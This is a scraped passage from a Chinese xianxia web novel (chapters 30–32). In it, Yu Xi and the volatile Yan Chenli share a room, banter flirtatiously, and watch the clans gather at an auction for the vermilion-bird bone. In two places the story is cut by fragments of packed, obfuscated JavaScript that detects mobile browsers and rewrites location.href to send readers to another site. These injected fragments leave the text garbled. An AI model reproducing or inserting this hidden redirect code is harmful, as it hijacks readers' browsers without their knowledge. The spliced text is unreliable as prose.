羽熹试着跟这个或许已经没有理智可言的男人商量,“喂,鄢尘离,他是我朋友,你先把他放下来。” “朋友?” 鄢尘离抬起手,发现在他和怀中少年身上,缠绕着无数红线,饶有兴趣地笑了笑,“那你我是什么关系?” 30. 朱雀骨5 “我们没有关系。”羽熹想也不想脱口而出。 “那你我身上为何有因缘笔画的红线?”鄢尘离绕了绕指尖,红线若隐若现。 “……” 羽熹狠狠瞪了他一眼,见他这幅样子莫名就来气。 结契也是他说要结,转头就忘得一干二净,还敢来问他。 想到鄢尘离拉他结契的原因,没好气道:“我怎么知道,有本事你把这线扯断!” 他憋着火,在男人身上踹了几脚,想挣脱束缚,却听门外传来动静。 方才鄢尘离给了洛羽一掌动静太大,青栩或许是听见异动,很快折了回来。 笃笃笃—— 敲门声音响起。 鄢尘离一点儿没松手,好整以暇看着怀中突然身体僵了僵的少年。 门外传来青栩的声音,“无相大人,恕我等冒犯,方才有个冒充您的人闯了进来,不知道潜入了哪个房间,听您这里有异动,可是那贼人闯了进来?” 房内并无回音。 “无相大人?” 青栩悄悄拔剑,方才这间房是没有亮灯的,现在忽然有了光,还有打斗声音,那个人有可能是藏在里面。 但他们都忌惮鄢尘离,不敢轻举妄动。 等了片刻,里面并未有回应,青栩互相对视一点,伸手放在门上,准备推开。 门豁开一条缝,青栩抬起一条腿准备杀进去,还没碰到门槛,一股刚劲的力量猛地从里头轰出来,卷着一丝金乌之力,直朝他面门袭来。 一瞬间,所有青栩被震退,后背狠狠砸在身后的围栏上,肺腑震荡,一口血喷涌而出。 房中传来带着隐怒的低吼,“滚!” 青栩立马收了剑,纷纷做了个请罪的动作,头也不回地离开了这间房。 羽熹探头探脑,见那群人走了,瞬间松了口气。 “你变成我的样子能瞒过青栩,看来真的很了解我啊。”鄢尘离眼神未有一刻离开过少年,低头在他墨发间嗅了嗅,似乎对他很感兴趣。 羽熹下意识抬手抵住男人肩膀,这骚男人一件衣服也没穿,皮肤灼热,像是能把手烫穿,他不自在地缩回手去,敷衍道:“我过目不忘。” 他这一退,鄢尘离便得寸进尺,整个人都压过来,偏偏羽熹身后什么也不靠,半个身子浸在水中。 “既是道侣,为何不褪了衣衫,一起洗?” 鄢尘离垂眸,指尖勾了勾少年被水冲得散乱的衣襟。 “什么?你们是道侣!” 洛羽最后两个字几乎喊破了音,仿佛听到什么不堪入耳的话,“你们竟然是道侣?!你……亏我还相信你,原来你和鄢尘离狼狈为奸!还有你鄢尘离!你亲手杀了你徒弟,居然找了一个跟他长得差唔唔唔唔——” 话没说完,他的嘴巴就被一只无形的手捂住,一个字也说不出来,只能瞪圆了眼,表达自己对浴池里这对狗男男的厌恶。 “……” 羽熹湿透的薄衫贴身挂着,被挑开一截,露出一小块胸前的皮肤,瓷白肤色被汤池水蒸得粉红,熟透的桃一样。 坏就坏在,鄢尘离撩开他衣服时,还故意用指背在他皮肤上轻轻蹭过,无孔不入地吃他豆腐。 “……” 不要脸的登徒子。 羽熹横眉竖目,抬手就给他一巴掌,鄢尘离动作快,提前拦下,湿哒哒的大手攥住少年手腕,水顺着往下滴落,滴答滴答的声音无端给房间里添了一丝暧昧。 鄢尘离来了兴致,嘴唇一动,正要说什么,目光撇过少年手腕上的黑色手镯,眼神一顿,随即嗤笑,手掌顺着少年手臂滑落,覆在手镯上,想要把它取下来。 羽熹被他这一举动弄得有些光火。 这人脑子真有毛病,戴也是他非要逼着自己戴,现在看不顺眼了又要取下来。 “正好,把你的东西拿走,我的夜明珠还我。” 鄢尘离充耳不闻,一心去拽手镯,那双赤色的瞳猛然颤了颤,一瞬间变得漆黑如墨,连带着他的气场也变了,变得冷冽起来。 “你敢!”齿缝中挤出一句低吼,音色与方才微微不同。 羽熹一愣。他在跟谁说话? 鄢尘离抬手摁了摁眉心,目光又变得赤红阴鸷,“有意思,你为他竟然能做到这一步,我若非要取下来呢?” 他手上力气愈发收紧,羽熹吃痛,刚一皱眉,那力道又松开了,但始终攥着他手腕,仿佛正忍受着两道力量的极端拉扯,一个想将他腕骨捏碎,一个急于脱手。 鄢尘离忽然捂着头,面色痛苦地弓了弓背,好半天才肯松开手,似乎是妥协了,“好,我不动它。” 羽熹一个眼神也没漏,认真地观察眼前这个人。 他这是,在跟身体里的另一个自己说话? 果然病的不轻。 “害怕?” 消停下来后,鄢尘离又恢复了刚才那副佻达的表情。 “……” 虽说他两副样子都很讨厌,但现在这个更让他手痒痒。 想了想原因,大概因为现在的鄢尘离性格更接近聿明,不管是说话的语调还是放浪的举止,都让人看不爽。 “谁怕了,你发疯别来招惹我,放开。”羽熹给了他一个不屑的眼神,一把推开他,两手撑着地面爬了上去。 鄢尘离往后一靠,目光浓稠如墨,黏在少年身上,专注地欣赏着眼前这幅“美人出浴图”。 湿成一绺一绺的黑发贴着少年纤薄的脊背,沿着腰窝陷下去,陷到底又骤然起势,显现出饱满圆润的臀峰。 少年身形被完美勾勒成型,衣衫半透,勾出纤细柔软的腰肢。 他却毫不防备,光脚踩在地板上,任身上的水滴啦滴啦落下,拉了拉湿漉漉的衣襟,满眼嫌弃,转过身直接将累赘的衣物脱掉。 动作间,薄衫下两点粉樱晃过,鄢尘离喉头收紧,有些干涩地舔了舔唇,终于换了个动作,手缓缓压紧汤池周围的玉石块。 那双白皙修长的腿迈了几步,停在孔雀屏风前,少年微微踮脚,取下挂着的一件干净亵衣给自己披上,这才好受了些。 “你的床归我了,自己爱上哪儿上哪儿去吧。” 羽熹将一头墨发从亵衣下撩出来,施了个法术将发丝烘干,长发又瀑布般覆在肩背。 直到少年彻底被屏风挡住,鄢尘离敛了敛那道侵略性的目光,发出一声低笑。 一连好几日没睡个好觉,羽熹脾气跟着也差,蛮横不讲理,别人的床说占就占了,躺起来一点儿不愧疚。 他在心里盘算着,就在此处睡到明日拍卖会开始,也不必和青栩再打照面。 眼皮几个开合,困意席卷,几乎差点要睡着时,身旁软垫一陷,热源靠近,有人躺在了他的旁边。 羽熹掀开一只眼皮看过去,领地意识很强,“你上来干什么?” “睡觉。” “下去。” “不。” “……” 鄢尘离翻身侧躺,单手撑着头看着身边少年,心情似乎很愉悦,“我还没见过谁堂而皇之鸠占鹊巢还如此理直气壮的,可要我找个青栩来问问,这是谁的房间?” “……好了好了,床分你一半,不许再说这种话了。”羽熹往旁边挪了挪,把被子裹在自己身上,跟他空出一条河,井水不犯河水。 等了许久,身边人没再发难,羽熹却有点睡不着。 他不习惯和别人一起睡,旁边有人在,尤其这人还是鄢尘离,让他觉得连对方的呼吸都很碍事。 翻来覆去几出,羽熹垂直坐了起来,毛躁得连发丝都翘起来几根。 他凶巴巴地瞪了一眼身旁躺着的人,忽然脑子里有了个主意,眼睛里蹦出贼光。 这可是魔神聿明啊。 魔神就这 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好半天,见鄢尘离没有醒来的意思,羽熹缓缓吐出一口气,刨开头发,单手撑着身子,慢慢举起“菜刀”,思考着从哪里开始剃。 头发一根还没断,他脑海中就已经浮现出某人头顶光秃秃反光的滑稽模样,忍不住笑了笑。 堂堂无相大人没了头发,必会成为整个修真界未来三年为人津津乐道的笑料。 实在太解气了。 羽熹激动得手都开始颤抖。 不可不眠的刃已经贴上了鄢尘离头皮,突然他又反悔了。 不能剃。 日后他若是用这幅光头形象跟他打架,自己一定会忍不住笑,斗法这种严肃的场合,一笑就破功,那还能打得过他么? 羽熹迅速摇了摇手中的“菜刀”,将之变成一根狼牙棒。 算了算了,头发暂且给他留着,还是趁他睡着揍他一顿最实际。 羽熹双手举起“狼牙棒”,正要落下去,忽然后背一僵,一只宽厚的手发力,猝不及防将他摁了下去,他就这么趴在了男人身上,额头差点磕在那人下巴上。 醒了?! 坏了坏了,偷袭不成被发现,这人又不正常,怕是不会善罢甘休。 他立马收回“作案工具”,准备等他一发难就耍赖,只要打死不承认,他又能把自己如何。 然而等了半天,身下的人眼皮都没掀开,呼吸依旧均匀和缓。 他没醒? 羽熹试着扭了扭腰,那股力量依旧在,见他挣扎,甚至贴得更紧了。 “别压着龙蛋!” 许多天不吭声的万龙冢冷不丁来了一句,羽熹吓了一跳,整个身体猛然瑟缩一下。 这么大的动静,不该醒也得醒了。 羽熹眼皮一跳,“别突然出声啊!” 他收紧了呼吸,紧盯着鄢尘离的睡容,没等到他睁眼,覆在腰上的力道却松了。 羽熹心中一喜,正要翻身下去,那手却往上挪到他后背,另一只手环着他的腰,将他整个人搂在怀中,轻轻地拍了拍他的背。 “?” 羽熹身体微怔。 他这是,在哄他睡觉? 默然半晌,羽熹没再动了,脸上也没什么表情。 他这是把他当他那个早死的小徒弟谢乔哄了吧。 呵…… “我是羽熹,才不是什么谢乔。” 羽熹嘟囔一声,或许是这招有用,没多久竟然睡着了。 待到他呼吸均匀绵长,鄢尘离眼睛轻然睁开,眼底漆黑深邃,垂眸看着趴在身上的少年,又轻轻在他背上拍了拍。 似是安抚,又似有别的意味。 半梦半醒间,羽熹总觉得忘了什么。瞌睡神为大,只动了动念便抛诸脑后。 31. 朱雀骨6 这一觉,羽熹直接睡到第二日午后,睁眼时,身旁早就空了,只剩他一个人。 鄢尘离走了? 他揉了揉眼睛慢腾腾爬起来,舒舒服服伸了个懒腰走到外间,不经意一瞥,发现墙根下躺着个人。 啊,原来是把他给忘了。 “喂,醒醒。”羽熹蹲下去,用手背拍了拍洛羽的脸。 洛羽悠悠转醒,扭了扭脖子,只听“咔”的一声,骨头响了。 他动了动,发现浑身上下没一个地方不疼的,鄢尘离这个狗东西,竟然把他在墙上挂了一夜! “夸擦”一声,洛羽又抖出骨刀,手臂没抬直,整个人先踉跄一下,差点栽个跟头,跌跌撞撞两步,活赛喝醉了酒似的,踩着狂野的舞步朝羽熹袭来。 “畜牲,你们俩骗子,我杀不了鄢尘离,就先杀了你。” “啧。” 羽熹侧身躲开他不成样的招,安抚道,“消停些吧,你还想不想要朱雀骨了。” “砰——” 房门被推开,打断了洛羽的话。 见鄢尘离来了,洛羽下意识后退几步,把骨刀藏在身后。 鄢尘离去而复返,这是羽熹没想到的,刚要问他去哪儿了,就听他道:“如果你们是为了朱雀骨来,那现在可以离开了。” 洛羽虽藏了骨刀,却根本不打算收敛眼里的憎恨,就像被惹毛了的小狮子,打不过敌人,也要对着敌人龇牙。 他几乎一点就炸,羽熹却没给他说话的机会,问:“这里的人不都是为了朱雀骨而来,我们为何就要走?” “只怕你有钱拍下,没命带走。” 鄢尘离目光扫过少年手上的镯子,似乎是有些怕麻烦地“啧”了一声,“我可没兴趣多管闲事,不过谁让你是我道侣,还跟我睡过一晚,你要是死了,我会心疼的。” 羽熹有一瞬间呆愕,随即反应过来,他说的是昨晚,登时小脸一黑,“谁跟你睡过,少胡说八道了。” “宝贝儿,这么快就想不起来了?”鄢尘离逼近两步,抬了抬少年下巴,轻佻地勾了勾,“是谁说难以抗拒我的美色,稀里糊涂跟我滚了一遭,还记得我身上何处有痣?” “……” “……” 羽熹万万没想到,这人即便是发疯也还记得当初他胡编乱造那些话。 此刻真想回到过去扇自己一巴掌,简直是搬起石头砸自己的脚。 见少年吃瘪,憋得脸通红又说不出话来的样子,鄢尘离愉悦大笑。 洛羽:“……” 狗男男。 他愤然扭身,拉开大门冲了出去。 没过多久又滚了回来。 羽熹眨巴两下眼睛看着他。 他臊眉耷眼道:“青栩还在找我们。” 鄢尘离不再逗他,转身冲他挥了挥手,“走吧,好戏要开始了,先去占个好位置。” 九十九层的笙歌唱了一宿,休息区设了隔音结界,倒是静谧,可一跨出去,耳膜便被各种声音敲击,有一种世界忽然醒了的喧嚣之感。 一个青栩迎上来朝鄢尘离拱手,目光撇到羽熹和他肩上的红麻雀时,脸色微微一变。 “怎么,有问题?”鄢尘离斜了他一眼。 青栩连忙道,“没有问题,无相大人,这边请。” “……”羽熹心里又不平衡了,早知只要有人带就能混进来,他何必费那许多功夫。 九十九层的布局其实和羽熹识海中的万龙冢有一些相似,都是纵深的圆拱形,壁上凹凸嵌着无数雅间和回廊,又和问天阙藏书阁一样,每一个雅间都可以移动,随着舞台方向不断调整。 青栩将他们往上一层领,走到一个门口标有六根横杠标志的房间,微微欠身,“请。” 羽熹往旁边看了看,注意到每个雅间门口都有不同的标志,并非文字,而是六爻卦象,他们的房间是六十四卦第一卦——乾为天。 远处看着这些房间排列如同蜂窝似的又小又挤,身在其中却是五脏俱全宽敞舒适,三面无墙,只挂薄纱帷帐,还能看到对面雅间宾客的脸。 青栩上了酒水热菜,道:“两位,拍卖会在酉时开始,竞价摇动左边悬挂的金铃即可,告退。” 门一合上,洛羽便从羽熹肩上跳下来变回人形,走到朱漆槛边环视一周,抱手冷笑,“来了这么多老熟人。” 羽熹近日觉得自己易困易乏,进门就坐下,挑着爱吃的菜塞进嘴里,没什么滋味地嚼着,“现在可以好好说说了,你到底是谁?” 洛羽“嗤笑”一声,“我都说过了那朱雀骨是我的,还猜不出来?” 羽熹耸了耸肩,他有没有风小六的记忆,哪里知道什么朱雀骨不朱雀骨,只知道朱雀一族在不知道多少年以前,因为犯错被除仙位,堕落凡界为妖。 这红毛麻雀不会就是朱雀族吧? 正此时,隔壁雅间的声音传了过来。 “当年修真界与妖族大战,仙盟大败妖族,荡平青滦,诛杀妖王,小妖王洛羽却不知所踪,只是后来听说他已伏诛,却不见尸骨,我就说,那朱雀族浑身都是宝贝,他们怎么舍得挫骨扬灰,果然朱雀骨被人抽走了。” “这种东西没想到居然会放在浮屠塔公开拍卖?” “有什么稀奇的,朱雀骨虽是顶级灵骨,但整个修真界并没有人能做到给活生生的人剔换灵骨,即便得到了朱雀骨,也只能放着落灰。” “落灰也要捏在自己手里,十七年前就有人研究过移换灵骨之术,过了这么多年,未必没人能做到,只要灵骨在手,总有用上的一天。” 羽熹侧目观察,那房间有三人,一黑一白服饰的两人在对话,第三人只默默喝酒,待他二人说完,突然开始大笑。 “哈哈哈哈~” 二人俱看过去,“你笑什么?” “我笑你们愚蠢,来了这浮屠塔,还不知道这些人真正的目的。” “什么目的?” 那人从怀中摸出一个信笺放在桌上,“这是今早离开房间前,有人塞在门缝里的,自己看看吧,我估计,在场很多人都收到了这封信。” 羽熹眯了眯眼,透过被风吹出的帷幔缝隙看到被压住半边的信纸,左右看了看其他雅间,同样印花的信封出现在好几个宾客手中。 “奇怪,我们房间怎么没有?”羽熹对洛羽道,“小妖王,你去打探打探,那信上写了什么?” “知道我是小妖王,还敢命令我?” “落难的凤凰不如鸡,听过没?” “……” “去吧,走地鸡。”羽熹摆摆手。 洛羽:“……” 洛羽一走,鄢尘离端起茶杯吹了吹茶沫,悠哉饮了一口,道:“好奇?怎么不问我。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984417|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你知道信上的内容?” 问完忽然想起,他起床时已经是下午,鄢尘离早就醒了,还出了趟门,说不定他早就看到那封信了。 “是什么是什么?”少年挪了个位置挨着他坐下,半只手趴在桌上歪着脑袋看他。 鄢尘离将他每一个动作都收进眼底,轻笑,“叫声夫君,我告诉你。” 羽熹瞬间垮了脸,“不说算了,等会儿我一样会知道。” 见少年不上当,鄢尘离勾勾唇角,“信上写的,就是朱雀骨的秘密。” 羽熹撑着脑袋似笑非笑看着他,“你不是不说吗?” “我忽然又很想告诉你了。” 羽熹:“……” 信上写了一个妖族的前尘往事。 十七年前,问天阙无相大人的关门弟子谢乔和小妖王交好,经常往青滦一带跑。 据说逆灵转阳术就是在妖族领地青滦创造出来的,接着没多久,谢乔又开始研究移换灵骨的办法。 他天纵奇才,没多久就有了想法,至于有没有做过试验,外人无从得知。 但他与妖族交好,妖王是知道这件事的。 后来人妖两族大战,谢乔死了,妖族战败,妖王在临死前,把逆灵转阳之术和移换灵骨大法用一种办法藏进了小妖王脊骨中。 所以这朱雀骨,不仅仅是天赋灵宝,更藏着能搅动修真界腥风血雨的两大秘术。 羽熹听完久久不言,不知道为什么,眼眶里有一股热意,打着转想要落下来,他用手摸了摸眼角,有一些湿濡。 这种感觉又来了。 不属于他的记忆在他脑海里卷轴一般缓缓展开。 鄢尘离说的故事,就好像在他眼前发生过,不是那冷冰冰的几句话就能概括的。 “人妖大战,起因是什么?”他莫名问出一个不相干的问题。 鄢尘离没有错过他的神情,“很复杂。” 哗啦—— 隔壁传来异动,像是花瓶被打碎的声音,雅间里的人顿时注意到房间里有人,一个掌击打出去,稀里哗啦破碎声音传了出来。 “啧,真不让人省心。” 羽熹连忙推门追过去,看见一只红麻雀从隔壁雅间张惶飞出。 修士追出来时已经没了影儿,左右看看又回了房间。 羽熹追着雀影穿梭在错综复杂的楼阁中,没一会儿也追丢了。 他弯下腰喘了几口气,顺手从过路青栩托盘中取来一个茶壶仰头饮下。 “这走地鸡,怎么跟个炮仗似的,探个消息都要出幺蛾子。” 每个房间都有特殊记号,他自己应该能找的回来,他便没再继续追。 “羽熹!” 身后传来一道清越的声音,羽熹回过头,来人令他意外。 “云师兄?” 云方仪和云霄青就在走廊,身后还跟着一堆人。 自黄泉驿那晚后,云方仪二人不知去向,羽熹心想或许他们已到黄泉驿,果真在此相遇,还都进了浮屠塔。 “你有邀请令?” 早知云方仪有,他和洛羽何必大费周章,还被一群青栩满楼追杀,还不小心和鄢尘离将就了一个房间,晚上还得睡一张床。 “没有,我也是来了这里才知道,上九十九层需要邀请令。” “那你们是怎么上来的?” 32. 朱雀骨7 云方仪让开路,指着身后人说,“我父亲有,我们半道碰上一块儿上来的。” 云霄青走过来,低声在他耳边提醒,“这位是北原云氏宗主云重明。” 羽熹看了他一眼,客气地唤了声,“云世伯。” “小六?” 云重明和云方仪父子相明显,气质却和儿子截然不同,狭长的双眼带着漠然,眉头随时皱着,好像在座各位都欠他钱似的。 他只打量了羽熹一眼,便对云方仪说,“你的事我回头再跟你算账。” 云氏的人走后,羽熹可算有机会拉着云方仪说话。 “师兄,你们那晚去哪儿了?” 云方仪正要说这事儿,把人拉到边上,道:“那晚我听到门外的声音觉得不对劲,还是决定出去看看,走之前叫醒了云霄青让他守夜,结果没多久他也出来了。” 两人在大堂碰头,越发觉得这里情况不对,怕是调虎离山,便立马返回,结果被人偷袭了。 两人合力解决掉偷袭的人,却发现整个黄泉客栈都乱了起来。 他们立马想要回去找羽熹,却在一楼看见羽熹一个人跑了出去。 “我们以为是你醒来发现我们都不在所以出来找我们了。”云方仪道:“我们便追在你身后,怎么叫你你都听不见,追到海边没了影儿,我们就想办法过了海,到了罗刹海市一直打听你。” “奇怪。” 羽熹纳了闷,他一直在房间睡觉,云方仪所说的那个人绝对不是他。 他便把黄泉驿之后发生的事跟他简单说了一遍。 云霄青道:“说起来,我们在罗刹海市找你的时候,看到了驿站那个老人,只是一眼她就不见了。” 羽熹:“她拿到了令牌,或许已经上了九十九层?” 九十九层错综复杂,青栩只认牌不认人,最后出席的自然什么人都有。 “不一定。”云方仪摇了摇头,“她在黄泉驿拿到的令牌,上了罗刹海市不一定保得住。” 到浮屠塔前,他就已经看到过好几场暴乱,都是为了抢夺令牌。 “别说这些了,羽熹,我们入座吧,没多久拍卖会就开始了。” 走了几步,见少年没跟上来,转头,“羽熹?” 羽熹没动,看了看身后的方向,“你们去吧,我跟鄢尘离一起的。等拍卖会结束我去找你们。” 他此番目的便是为鄢尘离找镇剑之物,刚好人就在身边,拿到东西便可给他现场用上。 否则一会儿东西到手人又不见了,岂不是又要多折腾。 正好云方仪也在,他顺势一提条件,将二人凑成师徒,前日因果皆了,他便好功成身退,继续解决他自己的事。 “无相大人也来了?可是他发现你私自下山追过来的?”云方仪语速快起来。 羽熹沉吟一声,“应该不是。” 看鄢尘离那样子,恐怕连他跑了都没发现,人就犯病了,来浮屠塔应该有他自己的理由,恰好碰上而已。 云方仪眉宇间带着急切,“可若是你去了,拍卖会结束岂不是又要回问天阙?” “最后不都得回去么。”羽熹笑了笑,转身挥手,“快回去吧,告诉我你们在哪个房间?” 云方仪欲言又止,最后只道:“天雷无妄。” …… 推开乾为天的门,鄢尘离正捧着一本册子看得入迷。 羽熹瞥了他一眼,在他对面的华榻侧身一卧,又瞥一眼,忍不住问,“你在看什么?” 鄢尘离头一偏,把书册倾斜出一个能看到封首的角度。 “龙蛋饲养手册,有意思。” 羽熹:“……” 奇怪,明明是他自己把手册拿给鄢尘离要他看的,现在人就在自己面前认真钻研,他反倒觉得这场景很诡异。 “过来。”鄢尘离对他招招手。 “不过来。”羽熹性格逆反,天君的话都不一定听,更别说死对头的了。 他喝了一口水,冲着他掀了掀眼皮,就是不过去。 鄢尘离抬抬眉,不以为意,指尖扬了扬,横在二人面前的障碍物长了腿似的自己挪走了。 接着他张开手臂,羽熹就被一股霸道的力量控住腰,蛮横地往怀里一带。 反应过来的时候,他已经坐在了鄢尘离腿上。 “……!” “你怎么如此不讲理?”他抬手给了鄢尘离一肘击。 鄢尘离躲也不躲,反倒把手落在少年腰上,缓缓覆上柔软的肚子。 “你怀孕了。” 语气平直,并非质问。 羽熹一顿。 鄢尘离宽大的手掌隔着薄薄的衣料在少年腹部轻抚,能感觉到少年腹部有微微弧度,但依旧十分柔软,手感极佳。 “是我的?”鄢尘离贴在少年耳边询问。 羽熹见挣脱不了,便懒得动弹,他又不肯就这样受制于人,于是干脆悬空了脚尖,把全身的力量都压在男人身上,企图把他腿压麻。 “你想得美,怎么可能是你的。” 鄢尘离眉头压了压,“你是说,你是我道侣,腹中孩子却不是我的?” “是啊。”羽熹坏心眼地笑着,跟他目光对峙,“你不是知道么,这可是你心甘情愿要替别人养的。” 鄢尘离眸光一暗,原本就深不见底寒潭似的眼,更浮上一层戾气,“那是谁的?” “管得着么,你勒疼我了,你身上硬邦邦的,硌得我难受。”羽熹拧着眉,伸手去推男人胸膛,腰不舒服扭了扭。 真难伺候。 鄢尘离放轻了动作,目光滑到少年腹部,不知道在想什么,看得出神。 好半天没有动作,羽熹被他弄得一头雾水,想从他身上下来。 鄢尘离没让,换了个姿势搂着他,另一只手再次小心翼翼覆上他的肚子。 “不许摸了!又不是你的摸来摸去干什么!” 羽熹给他摸毛了,正要闹,那只温厚的手掌再次覆了上去。 接触的一瞬间,羽熹动作一顿。 他第一次清晰的感觉到腹中龙蛋在动,如同脉搏心跳一般,轻轻的,似在回应。 “你确定不是我的?他好像很亲我。”鄢尘离也感觉到了龙蛋的热情回应,再次发问,眼底却没什么情绪。 羽熹没回答,他总不能说,自己既不能证明孩子是他的,也不能证明孩子不是他的。 羽熹低着头,糯糯说了声,“是我的。” 他捂住自己的肚子,不让他再摸了。 鄢尘离恍然一瞬,不确定是不是在少年眼神里看到一丝低落, 令他感到奇怪的是,少年这微小的心绪波动,莫名令他心中有种空缺感。 鄢尘离没有再逗他,也没有把他放开,有点恼那股陌生的情绪。 雅间外,三声钟声打断歌舞乐,熟悉浮屠塔的人都知道,这是拍卖会即将开始的钟声,池中笙歌也在渐渐退去。 乾为天对面,天雷无妄雅间。 云方仪怅然望着同一层对面那间连帘子都不愿意落下来的房间出神。 云重明皱紧了眉,正要呵斥云方仪,抬眼顺着目光看过去,一眼就看到了对面搂抱在一起的人。 鄢尘离他还能不认识么,光是看他一反往日高岭之花不近人情六欲皆断的姿态,就让他大跌眼镜。 看清他怀中少年竟然是风小六时,更是瞳孔一震。 但他毕竟是一门宗主,转眼就收住了异色,眸光复杂起来。 “原来那些事都是真的。”他嘀咕一句,恨铁不成钢地看向云方仪。 “你风世伯失踪前,曾特地来北原托孤,我们两家世交,你与风小六本有婚约,这件事虽然只是我和扬之的口头之约,无外人知晓,但你入问天阙前我就将此事告知过你。” 云方仪面色痛苦,很想让父亲不要再说了,云重明却一句一句往他心头刺。 “可你竟然!你不但没有遵守约定,还让他和别人就这么结为道侣,被逐出问天阙也不回北原,你是要他鄢尘离和风小六的结契大典昭告天下,才打算告诉为父?” 云方仪三魂七魄似抽离体外,木然噗通一声跪下,埋着头一言不发。 往日这种时候,云重明必得上家法,但时间场合都不对,不好处理家事,便压下怒火,怒斥一声。 “风小六是东州天在水风氏的人,也是我云氏从小抚养长大之人,不管和谁结契,也应经过两家同意。” 云重明幽暗目光投向对面“如胶似漆”的二人,“改日我会亲自登问天阙山门,商议解契之事。” “可是……” 云方仪想起离开问天阙时听到的那些传言,说羽熹在驻地亲口说过,他腹中之子乃是无相大人亲血脉,无相大人并未否认。 还有更多传言,他不愿回忆。 云重明并不管他,转了转手中的茶杯,“听闻一个半月前,阴墟禁地有真龙出世,借一凡人之体转生。” “父亲,您都知道了?” 北原与阴墟一北一南,云重明虽未亲眼所见,但西州亦有州盟驻地,云氏自有人赶过去,目睹了化龙一幕。 他意味深长道:“并非借体转生。” 云方仪抬头,等待他说后面的话,然而云重明却端起了茶杯,并不打算继续说下去了。 再说另一头,乾为天房间,鄢尘离注意到四周投来无数窥探打量的目光,却并不收敛,埋头在少年颈间深深嗅闻一口,指了指三窗四周座无虚席的房间。 “宝贝儿,知道来的人都有谁么?” 羽熹被他这个称呼叫得鸡皮疙瘩都起来了,下一秒又被分走了注意力,“都有谁?” 鄢尘离陡然抬眼,目光精准地落在对面“天雷无妄”房,贴在他耳侧道:“北原云氏,也就是你刚刚碰到那小白脸的家族,以他们为中心的八个方位的房间,是北原两个州除云氏之外的显赫宗门。” 修真界地图在羽熹脑海立体起来,北原两个州占地极广,九成疆域皆在雪原,秘境珍宝丰富,又有天然屏障格挡,独踞一方,实力雄厚。 “这么说云方仪出身大家族,下山后若是直接回北原,家族总有办法为他重修根基,为何他不肯回去?” 鄢尘离轻笑一声,似乎对这种小事并不感兴趣,指尖方向一转,落在一个被重重帷幔遮住,肉眼无法看见内里的房间, “山风蛊,东州天在水风氏,来的是现任家主风羲和。” 经他上一轮讲解,羽熹一眼就看懂了浮屠塔看似混乱实则极度有秩序的房间分布,抢答道:“四周八个方位是次于风氏的东州三州及列岛的宗门?” 蜂巢似的“八卦围一”格局往外延展,不难看出全场的座次排列,乾为天在最中心位置,周围八个方位应是中州以问天阙为首的其他宗门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984418|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而问天阙又是东西南北四个尊位的正中心。 浮屠塔可真是,势利眼啊。 “真聪明,说得不错。” 鄢尘离夸奖一句,继续道:“不过东州局势复杂,一直在六年前,都还处于一个分裂的状态,门派冲突不断,内忧外患,州盟代表换了又换。” “六年前?” 羽熹想起云方仪跟他说过的话,在风小六十岁那年,也就是六年前,风家内乱,他被送到了云氏。 “然后呢?” 鄢尘离注意到少年因好奇不自觉把手搭在他手臂上轻轻摇动的动作,极大地被讨好,“然后,风羲和凭一己之力扫清障碍成为风家家主,又在极短时间内,归拢三州势力,如今三州宗门皆是云氏附庸,实力可与问天阙一较高低。” 芳草堂那日,羽熹和风羲和打过照面,此人双腿皆废,却能做到如此地步,该是何等玲珑心窍,雷霆手段。 但看外表,却完全无法将鄢尘离话中的人和他联系起来。 鄢尘离今日耐心极好,顺着往西一指,“西州。” 羽熹跟眼过去一看,发出疑惑的声音,“西州的中心尊位为何是两间并列?” “猜猜?”鄢尘离趁他转过脑袋,不着痕迹地又贴上去几分。 “那就是西州三州是两家平起平坐咯——”羽熹给出猜想扭头求证,却不知这人何时凑这么近了,嘴唇堪堪擦过男人嘴角。 过电一般的感觉从他唇瓣蔓延开来,他连忙后退分开距离,含着几分恼怒瞪了他一眼。 鄢尘离舌尖扫过嘴角,笑了两声,握着少年粉嫩的指尖把玩,忽然转了个话头,“那本手册你可看过?” 羽熹面色微粉,愣了一秒,摇头,“怎么了?” “手册上说,龙蛋两个月初成型,成型胎稳,孕龙在此后期间,多受天性本能支配,可依循自然,无需守禁。” “什么意思?”羽熹捧着肚子眨眨眼。 是说他方才能感受到龙崽的跳动,是因为已经初成型了? 但算算日子,其实还有几天才到两个月,但因他是特例,雄龙受孕,或许会有些微不同也是有的。 鄢尘离放在他腰上的手忽然下移一寸,贴着他耳垂口吻极富挑逗,“是说,胎稳后便可行房事,龙性本淫,不必守禁。” 羽熹脸颊刷的一红,恼羞成怒抽回手,在他胸口重重来了一肘,“你才淫,你色魂淫心,色中饿鬼!” 他挣扎着想要跳下去,再这样下去不知道这人还要说出什么脏耳朵的下流话,鄢尘离见把人惹急了,便哄了哄,继续方才没说完的话, “西州的确是两个家族共治,越云川赵氏,戮月城吕氏。” “戮月城?”羽熹闭眼回忆,“戮月城所占之地,似乎是曾经妖族的领地,青滦河谷也在戮月城境地?” “是。” 羽熹眯了眯眼。 本以为庄游崖是唯一线索,现在看来不尽然,青滦河谷既然如今是戮月城辖内,或许那里能得到一些线索。 当下自然是抓住庄游崖最好,可那厮滑不留手,前日没抓住让他跑了,现在要抓他恐怕难。 “在想什么?”鄢尘离问。 羽熹摇了摇头,指了指所有主尊位周遭看似零散的位置,“那些不在五个方位尊位中的房间又是些什么人?” 